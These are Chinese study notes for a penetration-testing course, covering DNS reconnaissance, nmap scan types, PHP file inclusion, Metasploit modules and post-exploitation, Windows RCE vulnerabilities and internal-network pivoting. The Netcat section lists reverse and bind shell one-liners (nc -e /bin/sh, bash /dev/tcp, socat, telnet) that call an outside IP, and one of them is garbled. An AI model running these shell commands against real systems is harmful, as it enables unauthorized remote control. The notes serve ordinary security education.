攻防知识巩固
0x01. 实验环境搭建与 DNS 信息收集
1 主动收集与被动收集(P15)
主动搜集,如nmap扫描端口
被动收集,如谷歌搜索
定义
- 主动收集:指通过直接与目标系统或对象进行交互来获取信息的方式。例如,使用扫描工具对目标网站进行端口扫描、系统指纹识别等。
- 被动收集:指不直接与目标系统或对象进行交互,而是通过观察、监听或分析已有的数据来获取信息的方式。例如,通过搜索引擎、网络流量监控等手段 .
信息获取效率
- 主动收集:通常能够获得更多的信息,但需要投入更多的人力和时间资源。例如,主动扫描可以快速发现目标系统的漏洞和配置信息,但需要持续的扫描和分析。
- 被动收集:可以自动进行信息搜集,相对更为高效。例如,通过监控网络流量,可以实时获取目标系统的通信情况和数据交换信息。
数据准确性
- 主动收集:往往可以通过直接交互和验证来确保信息的准确性。例如,主动扫描可以直接确认目标系统的端口开放状态和运行服务。
- 被动收集:可能受到信息来源的限制而导致数据准确性不足。例如,通过搜索引擎获取的信息可能存在滞后或不完整的情况。
隐私和道德考量
- 主动收集:可能涉及到对目标系统和网络的主动攻击或侵入,容易引发隐私和道德问题。例如,主动扫描可能会被目标系统的安全防护机制检测到,从而引起法律纠纷。
- 被动收集:通常在不直接干预目标的情况下进行,相对较少触及隐私和道德纠纷。例如,通过公开渠道获取的信息通常不会引起目标的警觉。
应用场景
- 主动收集:多用于渗透测试、安全评估和黑盒测试等情景中,以挖掘目标系统和网络的潜在安全漏洞。例如,在渗透测试中,主动收集可以帮助发现目标系统的具体漏洞和弱点。
- 被动收集:多用于网络安全监控、事件响应和威胁情报收集等领域。例如,通过被动监控网络流量,可以及时发现异常行为和潜在威胁。
优缺点
主动收集:
- 优点:信息获取全面、准确,能够深入挖掘目标系统的细节。
- 缺点:容易被目标发现,留下痕迹,可能引发法律和道德问题。
被动收集:
- 优点:隐蔽性高,不会对目标系统产生直接影响,安全性高。
- 缺点:依赖可用数据,数据准确性可能不足,需要专业的工具和技术支持。
2. DNS信息收集工具(nslookup dig host等)域名系统
通过DNS信息收集可以获取以下信息:
域名记录信息
- A记录:将域名映射到对应的IP地址,如:
example.com
对应192.0.2.1
。 - CNAME记录:将一个域名别名指向另一个域名,如:
www.example.com
指向example.com
。 - MX记录:邮件交换记录,指示邮件服务器的位置,如:
mail.example.com
。 - NS记录:指定域名的权威DNS服务器,如:
ns1.example.com
。 - PTR记录:反向解析记录,将IP地址映射回域名,如:
192.0.2.1
对应example.com
。 - TXT记录:存储任意文本信息,常用于SPF、DKIM等邮件认证机制。
- SOA记录:起始授权记录,包含域名的管理员邮箱、序列号等信息.
子域名信息
- 通过子域名枚举,可以发现与目标域相关联的其他域名,如:
admin.example.com
、blog.example.com
等。这些子域名可能对应不同的服务或应用,存在不同的安全配置和漏洞风险.
域名注册信息(WHOIS信息)
- 包括域名的所有者、注册商、注册日期、到期日期等信息。这些信息有助于了解域名的归属和管理情况,可能用于社会工程学攻击或进一步的信息收集.
历史DNS记录
- 通过查询DNS数据库,可以获取目标域名的历史DNS记录,揭示潜在的安全问题,如过去的IP地址变更、子域名的增减等.
DNS服务器信息
- 包括DNS服务器的IP地址、版本信息等。了解DNS服务器的版本信息有助于发现可能存在的漏洞,如BIND版本漏洞。
IP地址信息
- 通过DNS解析可以获取域名对应的IP地址,进一步可以分析IP地址的归属地、运营商等信息。
CDN信息
- 通过DNS查询可以发现网站是否使用了CDN(内容分发网络),以及CDN节点的IP地址等信息。
其他相关信息
- 在某些情况下,DNS信息收集还可以获取到与域名相关的其他信息,如电话号码、个人信息、公司信息等。
nslookup
使用 nslookup
查询域名解析地址
![[Pasted image 20250106083258.png]]
dig
dig(域信息搜索器)命令是一个用于询问 DNS 域名服务器的灵活的工具。它执行 DNS 搜索,显示从受请求的域名服务器返回的答复。
![[Pasted image 20250106084808.png|500]]
回显部分解释(跑一遍大模型)
### 回显内容解释
#### Header 部分
- **opcode: QUERY**:表示这是一个查询操作。
- **status: NOERROR**:表示查询成功,没有错误发生。
- **id: 55914**:这是查询的标识符,用于匹配请求和响应.
#### Flags 部分
- **qr**:表示这是一个响应(response),而不是请求(query).
- **rd**:表示递归查询(recursive query)被请求,即 DNS 服务器需要提供完整的答案,而不是让客户端自己去查询其他服务器.
- **ra**:表示递归查询可用,即 DNS 服务器支持递归查询.
#### OPT PSEUDOSECTION 部分
- **EDNS: version: 0**:表示使用的是 EDNS0,即扩展 DNS 0 版本,用于支持更大的响应包等特性.
- **udp: 512**:表示 UDP 数据包的最大大小为 512 字节,这是 EDNS0 的默认设置.
#### QUESTION SECTION 部分
- **youngking.xyz. IN A**:表示查询的是 `youngking.xyz` 的 A 记录(IPv4 地址).
#### ANSWER SECTION 部分
- **youngking.xyz. 31 IN A 47.120.30.250**:
- `youngking.xyz.`:查询的域名.
- `31`:TTL(Time to Live),表示该记录的有效期为 31 秒,之后需要再次查询以获取最新的值.
- `IN`:表示记录类型为 Internet 类型.
- `A`:表示这是一个 A 记录,即 IPv4 地址记录.
- `47.120.30.250`:查询得到的 IPv4 地址.
#### Query time 部分
- **Query time: 26 msec**:表示查询耗时 26 毫秒.
#### SERVER 部分
- **SERVER: 114.114.114.114#53(114.114.114.114)**:表示查询的 DNS 服务器是 `114.114.114.114`,端口号是 53.
#### WHEN 部分
- **WHEN: Mon Jan 06 08:45:57 CST 2025**:表示查询的时间是 2025 年 1 月 6 日 08:45:57,时区为 CST(中国标准时间).
#### MSG SIZE 部分
- **MSG SIZE rcvd: 58**:表示收到的响应消息大小为 58 字节
host
常用参数:
-a | 显示详细的DNS信息 |
---|---|
-c | 指定查询类型,默认值为“IN” |
-C | 查询指定主机的完整的SOA记录 |
-r | 不使用递归的查询方式查询域名 |
-t | 指定查询的域名信息类型 |
-v | 显示指令执行的详细信息 |
-w | 如果域名服务器没有给出应答信息,则总是等待,直到域名服务器给出应答 |
-W | 指定域名查询的最长时间,如果在指定时间内域名服务器没有给出应答信息则退出 |
-4 | 使用IPv4查询传输 (默认) |
-6 | 使用IPv6查询传输 |
![[Pasted image 20250106085634.png]]
0x02.利用搜索引擎收集信息与主机发现
fping、Traceroute、netdiscover命令作用
google hacker
1. fping
类似于ping,但在ping多个主机时性能要高得多。 fping完全不同于ping,因为您可以在命令行上定义任意数量的主机,或者指定包含要ping的IP地址或主机列表的文件。
2.Traceroute
traceroute是用来检测发出数据包的主机到目标主机之间所经过的网关数量的工具。traceroute的原理是试图以最小的TTL(存活时间)发出探测包来跟踪数据包到达目标主机所经过的网关,然后监听一个来自网关ICMP的应答。发送数据包的大小默认为40个字节。
3. netdiscover
Netdiscover是一种网络扫描工具,通过ARP扫描发现活动主机,可以通过主动和被动两种模式进行ARP扫描。通过主动发送ARP请求检查网络ARP流量,通过自动扫描模式扫描网络地址。
0x03.端口扫描
端口号表
端口号 | 服务 |
---|---|
21 | FTP 文件传输服务 |
22 | SSH协议、SCP(文件传输)、端口号重定向 |
23 | TELNET 终端仿真服务 |
25 | SMTP 简单邮件传输服务 |
53 | DNS 域名解析服务 |
69 | TFTP |
80 | HTTP协议代理服务器 |
8080 | TCP服务端默认端口、JBOSS、TOMCAT、Oracle XDB(XML 数据库) |
110 | POP3(E-mail) |
123 | NTP(网络时间协议) |
135 | RPC(Remote Procedure Call) |
137 | NetBIOS名称服务 |
139 | NetBIOS会话服务 |
143 | IMAP(Internet Message Access Protocol) |
161 | SNMP(简单网络管理协议) |
389 | LDAP(轻量级目录访问协议) |
443 | HTTPS服务器 |
465 | SMTP(简单邮件传输协议) |
5432 | PostgreSQL数据库 |
3306 | MySQL数据库 |
3389 | Windows远程桌面 |
5900 | VNC(Virtual Network Computing) |
6379 | Redis数据库 |
873 | rsync |
9000 | php-fpm |
1080 | SOCKS代理协议服务器常用端口号 |
1521 | Oracle数据库 |
27017 | MongoDB数据库默认端口 |
nmap -sT -sS 参数的含义 TCP连接扫描和SYN扫描的具体含义(ACK、FIN)
-sT
参数
- 含义:TCP 连接扫描(TCP connect scan).
工作原理:
nmap
会为每个目标端口发起一个完整的 TCP 三次握手过程.- 首先,扫描器向目标主机的端口发送一个 TCP
SYN
数据包,表示建立连接的请求. - 如果目标端口开放,目标主机将回复一个
SYN-ACK
数据包. - 扫描器收到
SYN-ACK
后,会发送一个ACK
数据包来完成三次握手. - 最后,扫描器发送一个
RST
数据包来关闭连接.
特点:
- 这种扫描方式是显式的,因为它完成了完整的 TCP 连接建立过程,因此很容易被目标主机的日志记录下来.
- 适用于没有防火墙限制或防火墙配置宽松的环境,因为完整的 TCP 连接不容易被防火墙拦截.
- 由于需要完成三次握手,扫描速度相对较慢.
-sS
参数
- 含义:SYN 扫描(SYN scan),也称为半开放扫描(half-open scan).
工作原理:
- 扫描器向目标主机的端口发送一个 TCP
SYN
数据包,表示建立连接的请求. - 如果目标端口开放,目标主机将回复一个
SYN-ACK
数据包. - 扫描器收到
SYN-ACK
后,并不发送ACK
数据包来完成三次握手,而是直接发送一个RST
数据包来终止连接.
- 扫描器向目标主机的端口发送一个 TCP
特点:
- 由于没有完成完整的 TCP 连接建立过程,SYN 扫描相对隐蔽,不容易被目标主机的日志记录下来.
- 扫描速度快于 TCP 连接扫描,因为不需要等待三次握手的完成.
- 在某些情况下,SYN 扫描可能会被防火墙检测到,因为一些防火墙会对半开放的连接进行检测和记录.
-sA
(TCP ACK Scan)
- 原理:nmap 向目标主机的端口发送 ACK 数据包。如果端口没有被防火墙过滤,无论端口是开放还是关闭,都会返回 RST 数据包;如果端口被防火墙过滤,可能不会返回任何响应。
特点:
- 主要用于确定防火墙规则,判断哪些端口被防火墙过滤了。
- 不能确定端口是否真正开放,只能知道端口是否被防火墙阻挡。
-sF
(FIN Scan)
- 原理:nmap 向目标主机的端口发送一个 FIN 数据包。根据 TCP 协议规范,当一个关闭的端口收到 FIN 数据包时,应该返回 RST 数据包;而开放的端口可能会忽略该 FIN 数据包,不返回任何响应(但实际情况中,不同操作系统的实现可能有所不同)。
特点:
- 是一种比较隐蔽的扫描方式,因为它不遵循正常的 TCP 连接流程。
- 准确性可能受到操作系统差异的影响,在某些情况下可能无法准确判断端口状态。
0x04.文件包含
1. PHP伪协议的应用场景
php带有很多内置URL风格的封装协议,可用于类似fopen()
、copy()
、file_exists()
和filesize()
的文件系统函数
input
php://input
任意代码执行
一种特殊输入流,当他和包含函数结合时,php://input
会被当做文件执行,从而导致任意代码执行
php.ini:
allow_url_fopen=Off/On
allow_url_include=On
// /etc/php5/cgi/php.ini
遇到file_get_contents()
就可以想到用input
伪协议
可以写入木马
filter
php://filter
读取文件源码
获取指定源码
与包含函数结合时,当作php文件执行。一般对其进行编码,让其不执行,从而导致任意文件读取
data
data://
任意代码执行(代码可以直接写)
zip
zip://
配合文件上传开启后门
访问压缩包里面的文件当作php文件执行,从而实现任意代码执行
file
file://
访问本地文件系统,通常用来读取本地文件的且不受allow_url_fopen\allow_url_include=On
影响
2. 文件包含漏洞可分为本地包含和远程包含,两者的概念,以及远程包含的利用条件(allow_url_fopen、 allow_url_include双on)
本地文件包含(LFI)
- 定义:本地文件包含漏洞允许攻击者访问服务器上的本地文件。攻击者可以通过修改输入参数,使应用程序包含服务器上的任意文件。
攻击方式:
- 目录遍历:攻击者利用文件路径中的
../
或其他目录遍历技术来访问服务器上的任意文件。例如,通过修改 URL 中的参数,攻击者可以访问/etc/passwd
文件来获取系统用户列表. - 文件访问:攻击者可以尝试包含服务器上的敏感文件,如配置文件、日志文件等,以获取应用程序或服务器的敏感信息.
- 目录遍历:攻击者利用文件路径中的
- 影响:攻击者可以获取服务器上的文件内容,可能导致信息泄露、系统配置泄露等安全问题。在某些情况下,如果应用程序对包含的文件内容没有进行严格的过滤和处理,攻击者还可能利用 LFI 漏洞进一步执行代码或进行其他攻击.
远程文件包含(RFI)
- 定义:远程文件包含漏洞允许攻击者包含来自远程服务器的文件。攻击者可以通过修改输入参数,使应用程序包含远程服务器上的任意文件。
攻击方式:
- 远程文件下载:攻击者可以指定一个远程 URL,使应用程序从该 URL 下载并包含文件内容。例如,攻击者可以将一个恶意脚本的 URL 传递给应用程序,从而在服务器上执行恶意代码.
- 利用第三方服务:攻击者可以利用第三方服务(如 CDN、云存储等)来存储恶意文件,并通过 RFI 漏洞将其包含到目标应用程序中.
- 影响:攻击者可以远程控制应用程序,执行任意代码,甚至可能导致服务器被完全控制。RFI 漏洞的危害通常比 LFI 漏洞更大,因为它允许攻击者从外部引入恶意代码.
远程文件包含(RFI)漏洞的利用条件
allow_url_fopen
和allow_url_include
都必须为On
:allow_url_fopen
:当此选项为On
时,PHP 允许通过 URL 来打开文件,即可以使用fopen()
、file_get_contents()
等函数访问远程文件。allow_url_include
:当此选项为On
时,PHP 允许通过 URL 来包含文件,即可以使用include()
、require()
等函数包含远程文件。
3. 与漏洞发生的相关函数include(),include_once()require(),
require_once(),这四种函数的区别
include
仅仅包含这个文件,如果文件不存在,那么也没啥大不了,继续执行后面代码require
必须要包含文件,如果包含不好,就报错include_once
包含一次 遇到错误继续执行require_once
成功包含一次,遇到错误停止
4. 文件包含漏洞的防御手段(P13、P14)
文件包含漏洞的防御手段主要包括以下几个方面:
输入验证与过滤
- 严格验证输入:对所有用户输入进行严格的验证和过滤,禁止包含特殊字符如
../
等,以防止路径遍历攻击。 - 使用白名单:限制文件包含的范围,只允许包含特定目录或白名单中的文件。
限制文件包含路径
- 使用绝对路径:在包含文件时,尽量使用绝对路径而非相对路径,以减少目录遍历的风险。
- 固定目录路径:限制文件包含操作只能在指定的目录下进行,避免攻击者通过路径遍历访问其他目录。
禁用远程文件包含
- 配置禁用:在服务器配置文件中(如 PHP 的
php.ini
),将allow_url_include
设置为Off
,禁止远程文件包含。
使用安全的文件包含函数
- 避免重复包含:使用
include_once
和require_once
等函数来避免文件被重复包含。
文件权限管理
- 合理设置权限:确保敏感文件的权限设置合理,避免被未授权用户访问。
5. 通过写入日志来实现文件包含(P12,无需实操,只需知道思路即可)
在日志中写入一句话木马/?file=../../../../../../var/log/nginx/access.log
用User-Agent
写入一句话木马
例题
web37-40 - Y0ung K1ng (youngking.xyz)
6. Burpsuite 的Scanner模块,用于自动化地扫描Web应用程序以发现安全漏洞。
扫描任务
网站导航
0x06.利用metasploit进行渗透攻击
1. 各功能程序模块的作用(P10)
Exploit Modules(漏洞利用模块)
- 作用:用于利用已知的漏洞攻击目标系统。这些模块尝试在目标系统上执行代码,以获取对系统的控制。
- 特点:每个模块针对特定的漏洞,需要根据目标系统的具体环境进行配置。
Payload Modules(载荷模块)
- 作用:在成功利用漏洞后执行的代码。载荷可以是简单的命令或复杂的脚本,如Meterpreter,用于与目标系统交互。
- 分类:分为反向连接(连接回攻击者)和正向连接(连接到远程服务器)。
Auxiliary Modules(辅助模块)
- 作用:提供除了漏洞利用外的其他功能,如扫描、嗅探、指纹识别等。
- 特点:不会返回shell,但对信息收集和目标识别等渗透测试的准备阶段非常有用。
Post-Exploitation Modules(后渗透模块)
- 作用:用于在成功渗透一个系统后执行操作,如收集系统信息、提权、维持访问、清理痕迹等。
- 特点:帮助攻击者更深入地控制系统、收集敏感信息或进一步扩大攻击范围。
Encoder Modules(编码器模块)
- 作用:对载荷进行编码,以绕过目标系统的安全防护措施,如非执行策略、杀毒软件检测等。
Nops Modules(空指令模块)
- 作用:生成无操作指令序列,通常用于保持载荷大小的一致性或用于缓冲区溢出攻击中的填充。
Evasion Modules(规避模块)
- 作用:帮助载荷或漏洞利用代码绕过目标机器的安全检测机制,如入侵检测系统(IDS)和防病毒软件(AV)。
2. Module作用
见上
3. Metasploit中的模块不但可以在框架内使用,还可形成单独的程序独立运行。
(正确)
4. show payloads、 show options 命令的作用
show payloads
命令
- 作用:列出当前选定的漏洞利用模块(exploit module)下可用的所有攻击载荷(payloads)。
- 应用场景:在选择了具体的漏洞利用模块后,使用此命令可以查看适用于该模块的所有载荷选项。这有助于渗透测试人员根据目标系统的特点和攻击目的选择合适的载荷。
show options
命令
- 作用:显示当前模块的配置选项及其当前值。
应用场景:在使用某个模块(如漏洞利用模块或辅助模块)时,此命令用于查看该模块需要配置的参数及其当前设置的状态。这包括必须设置的参数(如目标主机IP、端口等)和可选的配置项。如果没有选择任何模块,输入此命令会显示所有的全局参数。
0x07.常见windows漏洞
1. MS08-067远程代码执行漏洞、MS17-010永恒之蓝漏洞、CVE-2020-0796永恒之黑远程代码执行漏洞影响的操作系统版本
跑了遍大模型
MS08-067 漏洞
- Windows 2000 SP4
- Windows XP SP1-3
- Windows Server 2003 SP1-2
- Windows Vista SP0-1
- Windows Server 2008
- Windows 7 Beta
MS17-010 漏洞 永恒之蓝
- Windows NT
- Windows 2000
- Windows XP
- Windows 2003
- Windows Vista
- Windows 7
- Windows 8
- Windows 2008
- Windows 2008 R2
- Windows Server 2012 SP0
CVE-2020-0796 漏洞
- Windows 10 Version 1903 for 32-bit Systems
- Windows 10 Version 1903 for x64-based Systems
- Windows 10 Version 1903 for ARM64-based Systems
- Windows Server 2016, Version 1903 (Server Core installation)
- Windows 10 Version 1909 for 32-bit Systems
- Windows 10 Version 1909 for x64-based Systems
- Windows 10 Version 1909 for ARM64-based Systems
- Windows Server 2016, Version 1909 (Server Core installation)
2. MS08-067远程代码执行漏洞、MS17-010永恒之蓝漏洞、CVE-2019-0708的利用原理及可用于实施的攻击(P2、P4、P6)
跑一遍大模型
以下是 MS08-067、MS17-010 和 CVE-2019-0708 漏洞的利用原理及可用于实施的攻击:
MS08-067 漏洞
利用原理:
- 该漏洞存在于 Windows Server 服务的 RPC 请求处理中,攻击者通过向目标系统发送特制的 RPC 请求,触发栈缓冲区溢出,从而导致远程代码执行。
- 具体来说,漏洞是通过 MSRPC over SMB 通道调用 Server 程序中的
NetPathCanonicalize
函数时触发的。NetPathCanonicalize
函数在远程访问其他主机时,会调用NetpwPathCanonicalize
函数对远程访问的路径进行规范化,而在NetpwPathCanonicalize
函数中发生了栈缓冲区内存错误(溢出),造成可被利用实施远程代码执行。
可用于实施的攻击:
- 远程代码执行:攻击者可以在未经身份验证的情况下,利用此漏洞在目标系统上运行任意代码。
- 蠕虫攻击:该漏洞可以用于蠕虫攻击,攻击者可以编写蠕虫程序,自动扫描并利用漏洞传播到其他易受攻击的计算机。
MS17-010 漏洞(永恒之蓝)
利用原理:
- 漏洞存在于 Windows 的 SMB 服务中,当处理 SMB v1 请求时,攻击者可以通过发送特制的 SMB 请求,导致目标系统发生缓冲区溢出,从而实现远程代码执行。
- 漏洞利用了 SMB 协议的漏洞,通过 TCP 的 445 和 139 端口,攻击者可以扫描并攻击开放 445 文件共享端口的 Windows 主机。
可用于实施的攻击:
- 远程代码执行:攻击者可以在目标系统上执行任意代码,植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
- 蠕虫攻击:该漏洞具有蠕虫性,攻击者可以编写蠕虫程序,自动扫描并利用漏洞传播到其他易受攻击的计算机。
CVE-2019-0708 漏洞(BlueKeep)
利用原理:
- 该漏洞存在于 Windows 远程桌面服务(RDS)中,攻击者通过向目标系统发送特制的 RDP 请求,绕过身份认证,直接在目标系统上执行任意代码。
- 漏洞是预身份验证的,无需用户交互,攻击者只需通过 RDP 协议向目标系统发送经特殊设计的请求即可触发漏洞。
可用于实施的攻击:
- 远程代码执行:攻击者可以在目标系统上执行任意代码,安装后门、查看、篡改隐私数据,创建拥有完全用户权限的新账户。
- 蠕虫攻击:由于漏洞无需用户交互即可触发,攻击者可以编写蠕虫程序,自动扫描并利用漏洞传播到其他易受攻击的计算机。
0x08. meterpreter后渗透工具
1. Metsvc的作用
- 持久化访问:通过在目标系统上安装一个服务,Metsvc可以在系统重启后自动启动,从而允许攻击者无需重新进行漏洞利用即可重新获得对目标系统的访问。
- 简化连接过程:Metsvc在目标系统上启动一个监听服务,攻击者可以通过连接到该服务来重新获得Meterpreter会话,而不需要进行复杂的配置。
- 隐蔽性差:虽然Metsvc的使用简单方便,但其隐蔽性较差。由于它会在目标系统上创建一个明显的服务,因此很容易被系统管理员或安全工具发现。
- 风险:由于Metsvc服务的开放性,任何知道该服务端口和连接方式的人都可以尝试连接到目标系统,这增加了被其他攻击者利用的风险。
2. 提权的概念、水平提权、垂直提权 (P8)
提权(Privilege Escalation)是指攻击者通过利用系统漏洞、配置缺陷或安全策略的不足,从较低权限的用户账户提升到较高权限的账户,从而获得对系统更广泛的访问和控制能力。提权是渗透测试中的一个重要环节,通常发生在攻击者已经获得目标系统上某个低权限账户的访问权限后,为了进一步控制目标系统而进行的操作。
水平提权(Horizontal Privilege Escalation)
- 概念:水平提权是指攻击者在相同权限级别内,从一个用户账户切换到另一个具有相同权限级别的账户。
特点:
- 权限级别不变:攻击者没有提升到更高的权限级别,仍然保持原有的权限范围。
- 目的:通常是为了访问其他用户的数据或资源,例如在同一个权限级别的用户之间切换,以获取其他用户的信息或权限。
- 应用场景:例如,在一个共享文件系统中,攻击者可能通过水平提权访问其他用户的数据,或者在多用户系统中,攻击者可能尝试切换到其他用户的账户以获取不同的信息或资源。
垂直提权(Vertical Privilege Escalation)
- 概念:垂直提权是指攻击者从较低权限的账户提升到较高权限的账户,通常是提升到系统管理员或超级用户(如Windows中的Administrator或Linux中的root)的权限。
特点:
- 权限级别提升:攻击者获得了更高的权限,能够访问和控制更多的系统资源和功能。
- 目的:通常是为了完全控制目标系统,执行更复杂的操作,如修改系统配置、安装软件、访问敏感数据等。
- 应用场景:例如,在Windows系统中,攻击者可能通过利用系统漏洞或配置缺陷,从普通用户账户提升到Administrator账户;在Linux系统中,攻击者可能通过提权漏洞或配置不当,从普通用户提升到root用户。
3. getsystem和sniffer的作用(P9、P10、P12)
getsystem
的作用
getsystem
是Metasploit框架中的一个Meterpreter后渗透模块,用于尝试将当前会话的权限提升到本地系统权限(即SYSTEM权限)。
其主要作用包括:
- 提升权限:在已经获得目标系统上某个低权限账户的Meterpreter会话后,通过
getsystem
模块可以尝试提升权限到SYSTEM级别。 - 利用多种技术:
getsystem
会尝试多种提权技术,如利用服务、命名管道、令牌复制等方法来获取SYSTEM权限。 - 简化操作:攻击者无需手动寻找提权漏洞或编写复杂的提权脚本,只需运行
getsystem
模块即可自动尝试多种提权方法,大大简化了提权过程。
sniffer
的作用
sniffer
是Metasploit框架中的一个辅助模块,用于在网络层面上捕获和分析数据包。
其主要作用包括:
- 捕获数据包:在目标系统上运行sniffer模块后,可以捕获经过该系统网络接口的数据包。
- 分析网络流量:通过捕获的数据包,攻击者可以分析网络流量的详细信息,如协议类型、数据内容、源和目的IP地址、端口号等。
- 获取敏感信息:如果网络中传输的数据是以明文形式存在的,sniffer可以截获其中的敏感信息,如用户名、密码、金融账号等。
- 辅助攻击:捕获的数据包可以用于进一步的攻击分析和准备,例如通过分析数据包来寻找网络中的漏洞或进行欺骗攻击。
4. autoroute的作用
在Metasploit框架中,autoroute
是一个用于网络路由的辅助模块,其主要作用是自动配置路由规则,以便在渗透测试过程中能够更方便地访问目标网络中的其他设备或服务。
具体来说,autoroute
的作用包括:
- 自动配置路由:当攻击者通过Metasploit成功渗透到一个目标系统后,
autoroute
可以自动为该系统配置路由规则,使得攻击者可以通过该系统访问目标网络中的其他设备或服务。 - 简化网络访问:通过自动配置路由,攻击者不需要手动设置复杂的网络参数,就可以方便地访问目标网络中的其他资源。
- 提高渗透效率:在渗透测试过程中,能够快速访问目标网络中的多个设备或服务是非常重要的。
autoroute
通过自动配置路由,帮助攻击者提高了渗透测试的效率。
5. dumplink和enum_applications 的作用(P11)
https://blog.csdn.net/weixin_44288604/article/details/122724260
dumplink
的作用
dumplink
是Metasploit中的一个后渗透模块,用于获取目标主机最近访问过的文档和链接等信息。具体作用包括:
- 获取最近访问记录:通过运行
dumplink
模块,可以查看目标主机上用户最近访问过的文件和链接,包括文档、网页等。 - 信息收集:这些信息对于进一步了解目标用户的活动和兴趣点非常有用,可以帮助渗透测试人员发现潜在的攻击目标或敏感信息。
enum_applications
的作用
enum_applications
是Metasploit中的一个后渗透模块,用于枚举目标Windows系统上安装的所有应用程序。具体作用包括:
- 列出安装的应用程序:运行该模块后,可以获取目标系统上所有已安装的应用程序的列表。
- 信息收集:这些信息对于了解目标系统的环境和可能存在的漏洞非常有帮助。例如,某些应用程序可能存在已知的安全漏洞,渗透测试人员可以根据这些信息进一步寻找攻击机会。
0x9. 内网渗透
1. Proxychains(P12)
linux代理工具
使得任何程序通过代理上网,特别允许TCP和DNS通过代理隧道
使用ProxyChains,用户可以在Kali Linux中配置不同类型的代理服务器,包括HTTP、SOCKS4和SOCKS5代理。
此外,用户还可以为不同的目标指定不同的代理服务器,以确保他们的行为不被检测到或跟踪。
ProxyChains是一个非常有用的工具,可以帮助渗透测试人员隐藏其真实IP地址,以保护其隐私和匿名性。从某种意义上堪称神器
2. 正向连接与反向连接的概念(P5、P6,具体所执行的命令不需要掌握,需理解何时用正向连接,何时用反向连接)
正向连接使用场景:
- 攻击机在内网环境,被攻击机是外网环境,由于被攻击机无法主动连接到我们的主机,所以就必须我们主动连接被攻击机。
反向连接使用场景:
- 攻击机和被攻击机都是在外网或者都是在内网,这样被攻击机就能主动连接到我们的主机了。如果是这样的情况,建议使用反向连接,因为反向连接的话,即使被攻击机开了防火墙也没事,防火墙只是阻止进入被攻击机的流量,而不会阻止被攻击机主动向外连接的流量。
3.内网渗透的最终目标常常是为了攻下域控制器(正确)
4.Netcat 反弹 Shell 的常见命令
反弹shell姿势
正向连接:本地监听等待对方连接, 由靶机开启监听端口
- 内网机器上命令:nc -lvp 6666 -e /bin/sh
- 本地机器上命令:nc 192.168.211.130 6666
nc -lvvnp 6666
nc -lvvp 6666
参数区别 -l
:监听模式,用于在本地主机上创建一个TCP或UDP服务器,等待客户端连接。-v
:显示详细的连接信息,帮助诊断网络问题。-v
:再次使用-v
可以得到更详细的输出。-n
:直接使用IP地址,而不通过域名服务器。-p
:指定监听的端口号。
反向:本地听着,等着对方把权限交过来
目标主动把权限给出去,另一方监听, 由攻击机开启监听端口- 本地机器上`nc -lvvnp 6666
- 攻击机
nc 47.120.30.250 6666 -e /bin/sh
其他姿势, 本地机器依然开启端口
- bash反弹
bash -i >& /dev/tcp/47.120.30.250/6666 0>&1
- 利用Socat
socat tcp-connect:47.xxx.xxx.72:2333 exec:'bash -li',pty,stderr,setsid,sigint,sane
- 利用telnet
telnet 47.120.30.250 6666 | /bin/bash | telnet 47.120.30.250 6666
- 利用curl
https://47.120.30.250:6666 | sh
- bash反弹
我们先来看哪些反弹命令是可用的,哪些命令存在:
whereis nc bash python php exec perl ruby java telnet lua
有些姿势可以连接,但是无法RCE,目前不知道原因
0x10 综合对比表格
工具 | 生成木马特点 | 监听特点 |
---|---|---|
msfconsole | 不生成 | 功能强大,支持多协议多端口,与 payload 无缝对接,设置选项丰富 |
msfvenom | 可生成多平台多格式木马,编码加密多样,可定制 | 无法监听 |
weevely | 生成 Web 服务器 webshell,隐蔽性可设置 | 本地监听用于 webshell 管理,功能较简单 |
netcat | 需结合其他工具或脚本实现简单功能,灵活性高 | 简单端口监听,基础功能,缺乏高级设置 |
蚁剑 | 不直接生成,用于连接管理其他工具生成的 webshell | 本地建立通信通道用于 webshell |